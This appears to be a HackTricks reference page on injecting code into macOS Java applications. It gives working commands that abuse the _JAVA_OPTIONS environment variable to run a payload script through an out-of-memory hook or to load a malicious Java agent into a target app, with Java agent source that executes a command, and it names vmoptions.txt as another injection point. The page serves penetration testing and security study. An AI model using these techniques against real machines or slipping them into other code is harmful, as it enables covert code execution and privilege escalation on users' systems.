hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-java-apps-injection.md

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# macOS Java apps Injection
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## \_JAVA\_OPTIONS
The env variable **`_JAVA_OPTIONS`** can be used to inject arbitrary java parameters in the execution of a java compiled app:
```bash
# Write your payload in a script called /tmp/payload.sh
export _JAVA_OPTIONS='-Xmx5m -XX:OnOutOfMemoryError="/tmp/payload.sh"'
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
```
However, that will trigger an error on the executed app, another more stealth way is to create a java agent and use:
```bash
export _JAVA_OPTIONS='-javaagent:agent.jar'
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
```
Where the agent can be:
```java
import java.io.*;
import java.lang.instrument.*;
public class Hax {
public static void premain(String args, Instrumentation inst) {
try {
Process p = Runtime.getRuntime().exec("open -a Calculator");
}
catch (Exception err) {
err.printStackTrace();
}
}
}
```
## vmoptions.txt
This file support the specification of **Java params** when Java is executed. You could use some of the previous tricks to change the java params and **make the process execute arbitrary commands**.\
Moreover, this file can also include others, so you could also change an included file.
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</details>